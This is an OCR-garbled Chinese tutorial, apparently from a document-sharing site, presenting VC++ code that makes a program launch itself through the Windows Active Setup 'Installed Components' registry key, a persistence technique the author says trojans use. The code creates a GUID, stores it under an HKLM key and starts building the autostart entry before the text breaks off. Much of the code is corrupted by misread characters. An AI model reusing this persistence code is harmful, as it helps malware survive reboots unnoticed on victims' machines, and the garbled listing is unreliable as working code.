ActiveX启动你的程序.docVIP

目前国闪也冇好多木马也支持这种方式启动自己，我只是给出一个例了，希望大家以后见到r 不会怕它们. 卜而是代码，用VC新一个Application丄程(带基本结构的)把代码直接贴上就对以编译 // ActiveX to Start Up.cpp : Defines the entry point for the application. // #include stdafx.h #includc winrcg.h #include windows.hH #include〈objbase.h〉 #include stdio.h #include〈Tchar.h〉 #ifdcf_DEBUG #define new DEBUG_NEW #undefTHIS_FILE static char THIS_FILE[] = _FILE_; #endif #pragma comment (lib, W$2_32.1ib) //?-生成 GUID const char* ncwGUID() //GUID 生成函数 { static char buf[64J = {0}; GUID guid; if (S_OK == ::CoCreateGuid(guid)) _snprintf(buf, sizeof(buf) ，?’ {%08X-%()4X-%04x-%()2X%02X-%02X%()2X%02X%02X%02X%02X}n ，guid.Datal ，guid.Data2 ，guid.Data3 ，guid.Data4[0J, guid.Data4[l J ，guid.Data4[2], guid.Data4f3], guid.Data4[4], guid.Data4[51 ,guid.Data4[6], guid.Data4[7] )； } return (const char*)buf; } const char * WIN API CheckREG() ///fi 动项测试函数 { HKEY hkcy,tmpkcy; //LPCTSTR RDkey=Software\\Microsoft\\MePathH; //long regMF=(::RegOpenKeyEx(HKEY_LOCAL_MACHINE,RDkey,(), KEY_READ|KEY_W RITE, hkey)); if(RegOpenKey(HKEY_LOCAL_MACHlNE；,Software\\Microsoft\\MePath,,,hkey)!=ERROR. SUCCESS) RegOpenKey(HKEY_LOCAL_MACHINE,nSoftware\\Microsoft,tmpkey); RegCreate Key(tmpkey, MePath, hkey); RegCloseKey(tmpkey); } LPBYTE oGet=new BYTE[80]; DWORD typeMP=REG_SZ; DWORD cbData=80; long ret 1 =::RegQueryValueEx(hkey, ’’ShellPath，NULL,typeMP, oGet, cbData); if(retl !=ERROR_SUCCESS) { //-COM初始化 CoInitializc(NULL); //这里是可以生成这个键 oGet二(LPBYTE)newGUID();//GUID 生成函数 //设置 Shell Path 项为 oGet ::RcgSctValucEx(hkcy,ShcllPath\O,NULL,REG_SZ,(const unsigned char *)oGct,strlcn((const ch ar *)oGet)); //设H(默汄)项为oGet //::RcgSctValucEx(hkcy,NULL,NULL,REG_SZ,(const unsigned char *)oGct,strlcn((const char *)oGet)); //关闭COM CoUninitializc(); RegCloseKey(hkey); return(const char*)oGet; } const char * WINAPI CheckStartUP(unsigned char * MyFaths) { HKEY hkcy,tmpkcy; char * pp=nSOFTWARE\\Microsoft\\Active SetupWInstalled ComponentsW; LFCTSTR RDkey={()}; const char * MyGuid=CheckREG(); RDkey=(LPCTSTR)strcat(pp,MyGuid); //